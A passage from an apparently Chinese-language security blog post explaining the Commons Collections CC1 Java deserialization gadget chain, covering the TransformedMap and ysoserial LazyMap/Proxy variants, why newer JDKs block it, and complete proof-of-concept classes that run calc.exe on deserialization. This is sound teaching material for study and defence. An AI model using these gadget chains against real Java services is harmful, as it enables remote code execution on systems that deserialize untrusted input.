memberValues\u5c31\u662f\u53cd\u5e8f\u5217\u5316\u540e\u5f97\u5230\u7684Map\uff0c\u4e5f\u662f\u7ecf\u8fc7\u4e86TransformedMap\u4fee\u9970\u7684\u5bf9\u8c61\uff0c\u8fd9\u91cc\u904d\u5386\u4e86\u5b83\u7684\u6240\u6709\u5143\u7d20\uff0c\u5e76\u4f9d\u6b21\u8bbe\u7f6e\u503c\u3002\u5728\u8c03\u7528setValue\u8bbe\u7f6e\u503c\u7684\u65f6\u5019\u5c31\u4f1a\u89e6\u53d1TransformedMap\u91cc\u6ce8\u518c\u7684Transform\uff0c\u8fdb\u800c\u6267\u884c\u6211\u4eec\u4e3a\u5176\u7cbe\u5fc3\u8bbe\u8ba1\u7684\u4efb\u610f\u4ee3\u7801\u3002<\/strong><\/p>\n\n\n\n
\u6240\u4ee5\uff0c\u6211\u4eec\u6784\u9020POC\u7684\u65f6\u5019\uff0c\u5c31\u9700\u8981\u521b\u5efa\u4e00\u4e2aAnnotationInvocationHandler\u5bf9\u8c61\uff0c\u5e76\u5c06\u524d\u9762\u6784\u9020\u7684HashMap\u8bbe\u7f6e\u8fdb\u6765<\/p>\n\n\n\n
Class clazz = \nClass.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\nConstructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\nconstruct.setAccessible(true);\nObject obj = construct.newInstance(Retention.class, outerMap);<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u56e0\u4e3asun.reflect.annotation.AnnotationInvocationHandler\u662f\u5728JDK\u5185\u90e8\u7684\u7c7b\uff0c\u4e0d\u80fd\u76f4\u63a5\u4f7f\u7528new\u6765\u5b9e\u4f8b\u5316\uff0c\u6240\u4ee5\u4f7f\u7528\u53cd\u5c04\u83b7\u53d6\u4e86\u5b83\u7684\u6784\u9020\u65b9\u6cd5\uff0c\u5e76\u5c06\u5176\u8bbe\u7f6e\u6210\u5916\u90e8\u53ef\u89c1\uff0c\u518d\u8c03\u7528\u5c31\u53ef\u4ee5\u5b9e\u4f8b\u5316\u4e86\u3002<\/p>\n\n\n\n
AnnotationInvocationHandler\u7c7b\u7684\u6784\u9020\u51fd\u6570\u6709\u4e24\u4e2a\u53c2\u6570\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u662f\u4e00\u4e2aAnnotation\u7c7b\uff0c\u7b2c\u4e8c\u4e2a\u53c2\u6570\u5c31\u662f\u524d\u9762\u6784\u9020\u7684Map\uff0c\u6784\u9020\u51fa\u5bf9\u8c61\u540e\u5c31\u662f\u6211\u4eec\u53cd\u5e8f\u5217\u5316\u5229\u7528\u94fe\u7684\u8d77\u70b9\u4e86\uff0c\u901a\u8fc7\u5982\u4e0b\u4ee3\u7801\u751f\u6210\u5e8f\u5217\u5316\u6d41<\/p>\n\n\n\n
ByteArrayOutputStream barr = new ByteArrayOutputStream();\nObjectOutputStream  oos = new ObjectOutputStream(barr);\noos.writeObject(obj);\noos.close();<\/code><\/pre>\n\n\n\n
\u5c06\u8fd9\u51e0\u6bb5\u4ee3\u7801\u62fc\u63a5\u5230demo\u4ee3\u7801\u7684\u540e\u9762\uff0c\u7ec4\u6210\u4e00\u4e2a\u5b8c\u6574\u7684POC\uff0c\u8bd5\u7740\u8fd0\u884c\u8fd9\u4e2aPOC\uff0c\u770b\u770b\u80fd\u5426\u751f\u6210\u5e8f\u5217\u5316\u6570\u636e\u6d41<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5728writeObject\u7684\u65f6\u5019\u51fa\u73b0\u5f02\u5e38\u4e86\uff1ajava.io.NotSerializableException: java.lang.Runtime <\/p>\n\n\n\n
\u539f\u56e0\u662f\uff0cJava\u4e2d\u4e0d\u662f\u6240\u6709\u5bf9\u8c61\u90fd\u652f\u6301\u5e8f\u5217\u5316\uff0c\u5f85\u5e8f\u5217\u5316\u7684\u5bf9\u8c61\u548c\u6240\u6709\u5b83\u4f7f\u7528\u7684\u5185\u90e8\u5c5e\u6027\u5bf9\u8c61\uff0c\u5fc5\u987b\u90fd\u5b9e\u73b0\u4e86java.io.Serializable\u63a5\u53e3<\/strong>\u3002\u800c\u6211\u4eec\u6700\u65e9\u4f20\u7ed9ConstantTransformer\u662fRuntime.getRuntime()\uff0cRuntime\u7c7b\u662f\u6ca1\u6709\u5b9e\u73b0java.io.Serializable\u63a5\u53e3\u7684\uff0c\u6240\u4ee5\u4e0d\u5141\u8bb8\u88ab\u5e8f\u5217\u5316\u3002<\/p>\n\n\n\n
\u4e3a\u4e86\u907f\u514d\u8fd9\u4e2a\u9519\u6211\uff0c\u53ef\u4ee5\u53d8\u901a\u4e00\u4e0b\uff0c\u901a\u8fc7\u53cd\u5c04\u6765\u83b7\u53d6\u5230\u5f53\u524d\u4e0a\u4e0b\u6587\u4e2d\u7684Runtime\u5bf9\u8c61\uff0c\u800c\u4e0d\u9700\u8981\u76f4\u63a5\u4f7f\u7528\u8fd9\u4e2a\u7c7b<\/p>\n\n\n\n
Method f = Runtime.class.getMethod(\"getRuntime\");\nRuntime r = (Runtime) f.invoke(null);\nr.exec(\"\/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator\");<\/code><\/pre>\n\n\n\n
\u8f6c\u6362\u6210Transformer\u7684\u5199\u6cd5\u5c31\u662f\u5982\u4e0b<\/p>\n\n\n\n
Transformer[] transformers = new Transformer[] {\n  new ConstantTransformer(Runtime.class),\n  new InvokerTransformer(\"getMethod\", new Class[] { String.class,\n                                                   Class[].class }, new \nObject[] { \"getRuntime\",\n                                                                             \n     new Class[0] }),\n  new InvokerTransformer(\"invoke\", new Class[] { Object.class,\n                                                Object[].class }, new \nObject[] { null, new Object[0] }),\n  new InvokerTransformer(\"exec\", new Class[] { String.class },\n                         new String[] { \n\"\/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator\" }),\n};<\/code><\/pre>\n\n\n\n
\u5176\u5b9e\u548cdemo\u6700\u5927\u7684\u533a\u522b\u5c31\u662f\u5c06Runtime.getRuntime()\u6362\u6210\u4e86Runtime.class\uff0c\u524d\u8005\u662f\u4e00\u4e2ajava.lang.Runtime\u5bf9\u8c61\uff0c\u540e\u8005\u662f\u4e00\u4e2ajava.lang.Class\u5bf9\u8c61\u3002Class\u7c7b\u6709\u5b9e\u73b0Serialization\u63a5\u53e3\uff0c\u6240\u4ee5\u53ef\u4ee5\u88ab\u5e8f\u5217\u5316<\/p>\n\n\n\n
\u518d\u5199\u4e2a\u5bf9\u6bd4\u770b\u770b\uff0c\u7b2c\u4e00\u79cd\u5728\u5e8f\u5217\u5316\u7684\u65f6\u5019\u5c31\u5199\u6b7b\u4e86Runtime.getRuntime\u4e5f\u5c31\u662fRuntime\u5bf9\u8c61\uff0c\u8be5\u5bf9\u8c61\u6ca1\u6709\u5b9e\u73b0Serialization\u63a5\u53e3\uff0c\u4f46\u662f\u6362\u6210\u7b2c\u4e8c\u79cd\u5219\u53d8\u6210\u4e86Class\u5bf9\u8c61\u540e\u9762\u7684\u4e1c\u897f\u4e5f\u53ef\u4ee5\u5e8f\u5217\u5316\uff0c\u624d\u80fd\u591f\u771f\u6b63\u88ab\u5199\u5165\u5e8f\u5217\u5316\u6d41\u4e2d\u3002<\/p>\n\n\n\n
        Transformer[] transformers = new Transformer[]{\n        new ConstantTransformer(Runtime.getRuntime()),\n        new InvokerTransformer(\"exec\", new Class[]{String.class},\n        new Object[]\n        {\"C:\\\\Windows\\\\System32\\\\calc.exe\"}),\n        };\n------------------------------------------------------------------------\n        Transformer[] transformers = new Transformer[] {\n        new ConstantTransformer(Runtime.class),\n        new InvokerTransformer(\"getMethod\", new Class[] { String.class,\n        Class[].class }, new\n        Object[] { \"getRuntime\",\n\n        new Class[0] }),\n        new InvokerTransformer(\"invoke\", new Class[] { Object.class,\n        Object[].class }, new\n        Object[] { null, new Object[0] }),\n        new InvokerTransformer(\"exec\", new Class[] { String.class },\n        new String[] {\n        \"\/System\/Applications\/Calculator.app\/Contents\/MacOS\/Calculator\" }),\n        };\n<\/code><\/pre>\n\n\n\n
\u4f46\u662f\u4fee\u6539\u540e\u8fd0\u884c\u8fd8\u662f\u51fa\u9519<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u5b9e\u9645\u4e0a\u548cAnnotationInvocationHandler\u7c7b\u7684\u903b\u8f91\u6709\u5173\uff0c\u6211\u4eec\u53ef\u4ee5\u52a8\u6001\u8c03\u8bd5\u5c31\u4f1a\u53d1\u73b0\uff0c\u5728AnnotationInvocationHandler:readObject\u7684\u903b\u8f91\u4e2d\uff0c\u6709\u4e00\u4e2aif\u8bed\u53e5\u5bf9var7\u8fdb\u884c\u5224\u65ad\uff08\u8fd9\u91cc\u4e0d\u8981\u6df7\u6dc6\u6e90\u7801\u53d8\u91cf\u540d<\/strong> \u548c \u53cd\u7f16\u8bd1\u53d8\u91cf\u540d<\/strong>\uff0c\u524d\u9762\u6e90\u7801\u5c55\u793a\u7684memberValue\u662f\u6e90\u7801\u91cc\u9762\u7684\u53d8\u91cfIDEA\u53cd\u7f16\u8bd1\u62ff\u5230\u7684\u4ee3\u7801\u751f\u6210\u7684\u53d8\u91cf\u662f\u53cd\u7f16\u8bd1\u53d8\u91cf\u540d\uff09\uff0c\u53ea\u6709\u5728\u5176\u4e0d\u662fnull\u7684\u65f6\u5019\u624d\u4f1a\u8fdb\u5165\u91cc\u9762\u6267\u884csetValue\uff0c\u5426\u5219\u4e0d\u4f1a\u8fdb\u5165\u4e5f\u4e0d\u4f1a\u89e6\u53d1\u6f0f\u6d1e<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u5982\u4f55\u8ba9\u8fd9\u4e2avar7\u4e0d\u4e3anull\u5462\uff0c\u9700\u8981\u4e24\u4e2a\u6761\u4ef6<\/p>\n\n\n\n
    \n
  1. sun.reflect.annotation.AnnotationInvocationHandler \u6784\u9020\u51fd\u6570\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u5fc5\u987b\u662fAnnotation\u7684\u5b50\u7c7b\uff0c\u4e14\u5176\u4e2d\u5fc5\u987b\u542b\u6709\u81f3\u5c11\u4e00\u4e2a\u65b9\u6cd5\uff0c\u5047\u8bbe\u65b9\u6cd5\u540d\u662fX<\/li>\n\n\n\n
  2. \u88abTransformedMap.decorate \u4fee\u9970\u7684Map\u4e2d\u5fc5\u987b\u6709\u4e00\u4e2a\u952e\u540d\u4e3aX\u7684\u5143\u7d20<\/li>\n<\/ol>\n\n\n\n
    \u8fd9\u91cc\u4e5f\u89e3\u91ca\u4e86\u4e3a\u4ec0\u4e48\u524d\u9762\u7528\u5230Retention.class\uff0c\u56e0\u4e3aRetention\u6709\u4e00\u4e2a\u65b9\u6cd5\u540d\u4e3avalue\uff1b\u6240\u4ee5\uff0c\u4e3a\u4e86\u518d\u6ee1\u8db3\u7b2c\u4e8c\u4e2a\u6761\u4ef6\u9700\u8981\u7ed9Map\u4e2d\u653e\u5165\u4e00\u4e2aKey\u662fvalue\u7684\u5143\u7d20<\/p>\n\n\n\n
    innerMap.put(\"value\", \"xxxx\");<\/code><\/pre>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u5b8c\u6574POC<\/p>\n\n\n\n
    package client;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonCollections1 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] { String.class,\n                        Class[].class }, new\n                        Object[] { \"getRuntime\",\n                        new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] { Object.class,\n                        Object[].class }, new\n                        Object[] { null, new Object[0] }),\n                new InvokerTransformer(\"exec\", new Class[] { String.class },\n                        new String[] {\n                                \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe\" }),\n        };\n\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n\n        innerMap.put(\"value\", \"xxxx\");\n        Map outerMap = TransformedMap.decorate(innerMap, null,\n                transformerChain);\n\n        Class clazz =\n                Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\n        construct.setAccessible(true);\n        Object obj = construct.newInstance(Retention.class, outerMap);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream oos = new ObjectOutputStream(barr);\n        oos.writeObject(obj);\n        oos.close();\n\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object)ois.readObject();\n    }\n}\n<\/code><\/pre>\n\n\n\n
    \u4e3a\u4ec0\u4e48Java\u9ad8\u7248\u672c\u65e0\u6cd5\u5229\u7528<\/strong><\/p>\n\n\n\n
    Java 8u71\u4ee5\u540eJava\u5b98\u65b9\u4fee\u6539\u4e86sun.reflect.annotation.AnnotationIvocationHandler\u7684readObject\u51fd\u6570<\/p>\n\n\n\n
        private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {\n        GetField var2 = var1.readFields();\n        Class var3 = (Class)var2.get(\"type\", (Object)null);\n        Map var4 = (Map)var2.get(\"memberValues\", (Object)null);\n        AnnotationType var5 = null;\n\n        try {\n            var5 = AnnotationType.getInstance(var3);\n        } catch (IllegalArgumentException var13) {\n            throw new InvalidObjectException(\"Non-annotation type in annotation serial stream\");\n        }\n\n        Map var6 = var5.memberTypes();\n        LinkedHashMap var7 = new LinkedHashMap();\n\n        String var10;\n        Object var11;\n        for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {\n            Entry var9 = (Entry)var8.next();\n            var10 = (String)var9.getKey();\n            var11 = null;\n            Class var12 = (Class)var6.get(var10);\n            if (var12 != null) {\n                var11 = var9.getValue();\n                if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {\n                    var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + \"[\" + var11 + \"]\")).setMember((Method)var5.members().get(var10));\n                }\n            }\n        }\n\n        AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);\n        AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);\n    }<\/code><\/pre>\n\n\n\n
    \u6539\u52a8\u540e\u4e0d\u518d\u76f4\u63a5\u4f7f\u7528\u53cd\u5e8f\u5217\u5316\u5f97\u5230\u7684Map\u5bf9\u8c61\uff0c\u800c\u662f\u65b0\u5efa\u4e86\u4e00\u4e2aLinkedHashMap\u5bf9\u8c61\uff0c\u5e76\u5c06\u539f\u6765\u7684\u952e\u503c\u6dfb\u52a0\u8fdb\u53bb\u3002\u6240\u4ee5\u540e\u7eed\u5bf9Map\u7684\u64cd\u4f5c\u90fd\u662f\u57fa\u4e8e\u8fd9\u4e2a\u65b0\u7684LinkHashMap\u5bf9\u8c61\uff0c\u800c\u539f\u6765\u7cbe\u5fc3\u6784\u9020\u7684Map\u4e0d\u518d\u6267\u884cset\u6216put\u64cd\u4f5c\uff0c\u4e5f\u5c31\u4e0d\u4f1a\u89e6\u53d1RCE<\/p>\n\n\n\n
    ysoserial POC<\/h2>\n\n\n\n
    ysoserial\u4e2dCC1\u7684POC\u548c\u524d\u9762\u5b8c\u5168\u4e0d\u540c\u662f\u56e0\u4e3a\u5229\u7528\u94fe\u4e0d\u4e00\u6837\uff0cysoserial\u7528\u5230\u7684\u4e0d\u662fTransformerMap\u800c\u662fLazyMap<\/p>\n\n\n\n
    LazyMap<\/h3>\n\n\n\n
    LazyMap\u548cTransformedMap\u7c7b\u4f3c\uff0c\u90fd\u6765\u81ea\u4e8eCC\u5e93\u5e76\u7ee7\u627f\u4e86AbstractMapDecorator<\/p>\n\n\n\n
    LazyMap\u7684\u6f0f\u6d1e\u89e6\u53d1\u70b9\u548cTransformedMap\u552f\u4e00\u7684\u5dee\u522b\u662f\uff0cTransformedMap\u662f\u5728\u5199\u5165\u5143\u7d20\u7684\u65f6\u5019\u6267\u884ctransform\uff0c\u800cLazyMap\u662f\u5728\u5176get\u65b9\u6cd5\u4e2d\u6267\u884c\u7684factroy.transform\u3002\u5176\u5b9e\u8fd9\u4e5f\u5f88\u597d\u7406\u89e3\uff0cLazyMap\u7684\u4f5c\u7528\u662f”\u61d2\u52a0\u8f7d”\uff0c\u5728get\u4e0d\u5230\u503c\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u8c03\u7528factory.transform\u65b9\u6cd5\u53bb\u83b7\u53d6\u4e00\u4e2a\u503c<\/p>\n\n\n\n
        public Object get(Object key) {\n\/\/ create value for key if key is not currently in the map\n        if (map.containsKey(key) == false) {\n            Object value = factory.transform(key);\n            map.put(key, value);\n            return value;\n        }\n        return map.get(key);\n    }<\/code><\/pre>\n\n\n\n
    \u4f46\u662f\u76f8\u6bd4\u4e8eTransformedMap\u7684\u5229\u7528\u65b9\u6cd5\uff0cLazyMap\u540e\u7eed\u5229\u7528\u7a0d\u5fae\u590d\u6742\u4e00\u4e9b\uff0c\u539f\u56e0\u5728sun.reflect.annotation.AnnotationInvocationHandler\u7684readObject\u65b9\u6cd5\u4e2d\u5e76\u6ca1\u6709\u76f4\u63a5\u8c03\u7528\u5230Map\u7684get\u65b9\u6cd5\uff0c\u6240\u4ee5ysoserial\u627e\u5230\u4e86\u53e6\u4e00\u6761\u8def\uff0cAnnotationInvocationHandler\u7c7b\u7684ivoke\u65b9\u6cd5\u6709\u8c03\u7528\u5230get<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u53c8\u5982\u4f55\u80fd\u8c03\u7528\u5230AnnotationInvocationHandler#invoke\u5462\uff1fysoserial\u7684\u4f5c\u8005\u60f3\u5230\u7684\u662f\u5229\u7528Java\u7684\u5bf9\u8c61\u4ee3\u7406<\/p>\n\n\n\n
    Java\u5bf9\u8c61\u4ee3\u7406<\/h3>\n\n\n\n
    \u4f5c\u4e3a\u4e00\u95e8\u9759\u6001\u8bed\u8a00\uff0c\u5982\u679c\u60f3\u52ab\u6301\u4e00\u4e2a\u5bf9\u8c61\u5185\u90e8\u7684\u65b9\u6cd5\u8c03\u7528\uff0c\u5b9e\u73b0\u7c7b\u4f3cPHP\u7684\u9b54\u672f\u65b9\u6cd5__call\uff0c\u6211\u4eec\u9700\u8981\u7528\u5230java.reflect.Proxy<\/p>\n\n\n\n
    Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new \nClass[] {Map.class}, handler);<\/code><\/pre>\n\n\n\n
    Proxy.newProxyInstance\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\u662fClassLoader\uff0c\u7528\u9ed8\u8ba4\u7684\u5373\u53ef\uff1b\u7b2c\u4e8c\u4e2a\u53c2\u6570\u662f\u6211\u4eec\u9700\u8981\u4ee3\u7406\u7684\u5bf9\u8c61\u96c6\u5408\uff1b\u7b2c\u4e09\u4e2a\u53c2\u6570\u662f\u4e00\u4e2a\u5b9e\u73b0\u4e86invocationHandler\u63a5\u53e3\u7684\u5bf9\u8c61\uff0c\u91cc\u9762\u5305\u542b\u4e86\u5177\u4f53\u4ee3\u7406\u7684\u903b\u8f91<\/p>\n\n\n\n
    \u6bd4\u5982\u6211\u4eec\u5199\u8fd9\u6837\u4e00\u7c7bExampleInvocationHandler<\/p>\n\n\n\n
    package org.vulhub.Ser;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Method;\nimport java.util.Map;\npublic class ExampleInvocationHandler implements InvocationHandler {\n    protected Map map;\n    public ExampleInvocationHandler(Map map) {\n        this.map = map;\n    }\n    @Override\n    public Object invoke(Object proxy, Method method, Object[] args) throws\n            Throwable {\n        if (method.getName().compareTo(\"get\") == 0) {\n            System.out.println(\"Hook method: \" + method.getName());\n            return \"Hacked Object\";\n        }\n        return method.invoke(this.map, args);\n    }\n}<\/code><\/pre>\n\n\n\n
    ExampleInvocationHandler\u7c7b\u5b9e\u73b0\u4e86invoke\u65b9\u6cd5\uff0c\u4f5c\u7528\u662f\u5728\u76d1\u63a7\u5230\u8c03\u7528\u65b9\u6cd5\u540d\u662fget\u7684\u65f6\u5019\uff0c\u8fd4\u56de\u4e00\u4e2a\u7279\u6b8a\u5b57\u7b26\u4e32Hacked Object<\/p>\n\n\n\n
    \u5728\u5916\u90e8\u8c03\u7528\u8fd9\u4e2aExampleInvocationHandler<\/p>\n\n\n\n
    package client;\n\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\npublic class app {\n    public static void main(String[] args) throws Exception {\n        InvocationHandler handler = new ExampleInvocationHandler(new\n                HashMap());\n        Map proxyMap = (Map)\n                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},\n                        handler);\n        proxyMap.put(\"hello\", \"world\");\n        String result = (String) proxyMap.get(\"hello\");\n        System.out.println(result);\n    }\n}<\/code><\/pre>\n\n\n\n
    \u8fd0\u884c\u540e\u53ef\u4ee5\u53d1\u73b0\uff0c\u867d\u7136\u5411Map\u653e\u5165\u7684hello\u503c\u4e3aworld\uff0c\u4f46\u6211\u4eec\u83b7\u53d6\u5230\u7684\u7ed3\u679c\u5374\u662fHacked Object<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u56de\u770bsun.reflect.annotation.AnnotationInvocationHandler\uff0c\u4f1a\u53d1\u73b0\u5b9e\u9645\u4e0a\u8fd9\u4e2a\u7c7b\u5c31\u662f\u4e00\u4e2aInvocation Handler\uff0c\u6211\u4eec\u5982\u679c\u5c06\u8fd9\u4e2a\u5bf9\u8c61\u7528Proxy\u8fdb\u884c\u4ee3\u7406\uff0c\u90a3\u4e48\u5728readObject\u7684\u65f6\u5019\uff0c\u53ea\u8981\u8c03\u7528\u4efb\u610f\u65b9\u6cd5\uff0c\u5c31\u4f1a\u8fdb\u5165\u5230AnnotationInvocationHandler#invoke\u65b9\u6cd5\u4e2d\uff0c\u8fdb\u800c\u89e6\u53d1\u6211\u4eec\u7684LazyMap#get<\/p>\n\n\n\n
    \u4f7f\u7528LazyMap\u6784\u9020\u5229\u7528\u94fe<\/h3>\n\n\n\n
    \u6240\u4ee5\u5728\u524d\u9762POC\u7684\u57fa\u7840\u4e0a\u8fdb\u884c\u4fee\u6539\uff0c\u9996\u5148\u4f7f\u7528LazyMap\u66ff\u6362TransformedMap<\/p>\n\n\n\n
    Map outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n
    \u7136\u540e\u6211\u4eec\u9700\u8981\u5bf9sun.reflect.annotation.AnnotationInvocationHandler\u5bf9\u8c61\u8fdb\u884cProxy<\/p>\n\n\n\n
    Class clazz = \nClass.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\nConstructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);\nconstruct.setAccessible(true);\nInvocationHandler handler = (InvocationHandler) \nconstruct.newInstance(Retention.class, outerMap);\nMap proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new \nClass[] {Map.class}, handler);<\/code><\/pre>\n\n\n\n
    \u4ee3\u7406\u540e\u7684\u5bf9\u8c61\u53eb\u505aproxyMap\uff0c\u4f46\u6211\u4eec\u4e0d\u80fd\u76f4\u63a5\u5bf9\u5176\u8fdb\u884c\u5e8f\u5217\u5316\uff0c\u56e0\u4e3a\u6211\u4eec\u5165\u53e3\u70b9\u662fsun.reflect.annotation.AnnotationInvocationHandler#readObject\uff0c\u6240\u4ee5\u6211\u4eec\u8fd8\u9700\u8981\u518d\u7528AnnotationInvocationHandler\u5bf9\u8fd9\u4e2aproxyMap\u8fdb\u884c\u5305\u88f9<\/p>\n\n\n\n
    handler = (InvocationHandler) construct.newInstance(Retention.class, \nproxyMap);<\/code><\/pre>\n\n\n\n
    \u6700\u7ec8POC<\/strong><\/p>\n\n\n\n
    package client;\n\nimport org.apache.commons.collections.Transformer;\nimport org.apache.commons.collections.functors.ChainedTransformer;\nimport org.apache.commons.collections.functors.ConstantTransformer;\nimport org.apache.commons.collections.functors.InvokerTransformer;\nimport org.apache.commons.collections.map.LazyMap;\nimport org.apache.commons.collections.map.TransformedMap;\n\nimport java.io.*;\nimport java.lang.annotation.Retention;\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.InvocationHandler;\nimport java.lang.reflect.Proxy;\nimport java.util.HashMap;\nimport java.util.Map;\n\npublic class CommonCollections1 {\n    public static void main(String[] args) throws Exception {\n        Transformer[] transformers = new Transformer[] {\n                new ConstantTransformer(Runtime.class),\n                new InvokerTransformer(\"getMethod\", new Class[] { String.class,\n                        Class[].class }, new\n                        Object[] { \"getRuntime\",\n                        new Class[0] }),\n                new InvokerTransformer(\"invoke\", new Class[] { Object.class,\n                        Object[].class }, new\n                        Object[] { null, new Object[0] }),\n                new InvokerTransformer(\"exec\", new Class[] { String.class },\n                        new String[] {\n                                \"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\calc.exe\" }),\n        };\n\n        Transformer transformerChain = new ChainedTransformer(transformers);\n        Map innerMap = new HashMap();\n\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);\n\n        Class clazz =\n                Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class,\n                Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler)\n                construct.newInstance(Retention.class, outerMap);\n        Map proxyMap = (Map)\n                Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},\n                        handler);\n        handler = (InvocationHandler)\n                construct.newInstance(Retention.class, proxyMap);\n\n        ByteArrayOutputStream barr = new ByteArrayOutputStream();\n        ObjectOutputStream  oos = new ObjectOutputStream(barr);\n        oos.writeObject(handler);\n        oos.close();\n        System.out.println(barr);\n        ObjectInputStream ois = new ObjectInputStream(new\n                ByteArrayInputStream(barr.toByteArray()));\n        Object o = (Object)ois.readObject();\n    }\n}\n\n<\/code><\/pre>\n\n\n\n
    \u7b2c\u4e00\u5c42\u5305\u88c5\uff1aLazyMap\u5305\u88c5HashMap\u6210\u4e3aouterMap\uff0c\u5229\u7528LazyMap\u7279\u6027\u540e\u7eed\u8c03\u7528transformerChains<\/p>\n\n\n\n
            Map innerMap = new HashMap();\n\n        Map outerMap = LazyMap.decorate(innerMap, transformerChain);<\/code><\/pre>\n\n\n\n
    \u7b2c\u4e8c\u5c42\u5305\u88c5\uff1aAnnotationInvocationHandler\u5305\u88c5outerMap\uff0c\u4e3a\u4e86\u7528\u5176readObject\u65b9\u6cd5\u4e2dmemberValues.entrySet()\u65b9\u6cd5\u8c03\u7528<\/p>\n\n\n\n
    Class clazz =\n                Class.forName(\"sun.reflect.annotation.AnnotationInvocationHandler\");\n        Constructor construct = clazz.getDeclaredConstructor(Class.class,\n                Map.class);\n        construct.setAccessible(true);\n        InvocationHandler handler = (InvocationHandler)\n                construct.newInstance(Retention.class, outerMap);<\/code><\/pre>\n\n\n\n
    \u7b2c\u4e09\u5c42\u5305\u88c5\uff1a\u5b9e\u73b0InvocationHandler\u4e0ePorxy\u7279\u6027\uff0cproxy\u8c03\u7528\u5b83\u5b9e\u73b0\u63a5\u53e3\u65b9\u6cd5\u65f6\u90fd\u4f1a\u8fdb\u5165InvocationHandler#invoke\u65b9\u6cd5\u4e2d\u8c03\u7528Object var6 = this.memberValues.get(var4);<\/p>\n\n\n\n
    Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class},handler);<\/code><\/pre>\n\n\n\n
    \u7b2c\u56db\u5c42\u5305\u88c5\uff1a\u4fdd\u8bc1\u53cd\u5e8f\u5217\u5316\u7684\u65f6\u5019\u8d70AnnotationInvocationHandler.readObject(memberValue\u5bf9\u5e94proxyMap)<\/p>\n\n\n\n
    handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);<\/code><\/pre>\n\n\n\n
    \u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\uff1aAnnotationInvocationHandler.readObject->proxyMap.entrySet()->AnnotationInvocationHandler.invoke()->outerMap.get(“entrySet”)->LazyMap.get(“entrySet”)->transformerChain<\/p>\n\n\n\n
    ysoserial\u64cd\u4f5c<\/h2>\n\n\n\n
    ysoserial\u505a\u4e86\u4e00\u4e9b\u5176\u4ed6\u64cd\u4f5c\u6bd4\u5982\u6700\u540e\u901a\u8fc7\u53cd\u5c04\u83b7\u53d6ChainTransformer\u5bf9\u8c61\u7684iTransformer\u5c5e\u6027\uff0c\u8be5\u5c5e\u6027\u4fdd\u5b58\u4e86transformer\u94fe\u7c7b\u578b\u662fTransformer[]<\/strong>\uff0c\u901a\u8fc7\u66ff\u6362\u5c06\u6709\u5371\u5bb3\u7684Transformer\u6570\u7ec4\u653e\u5165\u5bf9\u8c61\u4e2d<\/p>\n\n\n\n
    \"\"<\/div><\/figure>\n\n\n\n
    \u81f3\u4e8e\u6700\u540eConstantTransformer(1)\u53ef\u80fd\u662f\u4e3a\u4e86\u9690\u853d\u542f\u52a8\u8fdb\u7a0b\u7684\u65e5\u5fd7\u7279\u5f81<\/p>\n\n\n\n
    CC6<\/h1>\n\n\n\n
